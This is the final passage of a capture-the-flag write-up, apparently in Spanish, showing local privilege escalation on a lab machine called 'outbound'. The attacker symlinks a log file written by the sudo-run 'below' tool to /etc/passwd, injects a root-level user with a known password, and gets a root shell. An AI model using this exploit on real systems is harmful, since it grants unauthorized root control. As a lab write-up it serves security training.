jacob@outbound:~$ rm -f /var/log/below/error_root.log && ln -sf /etc/passwd /var/log/below/error_root.log && sudo /usr/bin/below replay --time "anything" >/dev/null 2>&1 & echo "gunzf0x:$(openssl passwd -6 'gunzf0x123$!'):0:0:root:/root:/bin/bash" > /home/jacob/payload && cat /home/jacob/payload > /var/log/below/error_root.log && cat /etc/passwd
jacob@outbound:~$ su gunzf0x
Password: gunzf0x123$!
gunzf0x@outbound:/home/jacob# id
uid=0(root) gid=0(root) groups=0(root)
Somos el usuario root. GG. Podemos extraer la flag de root en el directorio /root.
~Happy Hacking.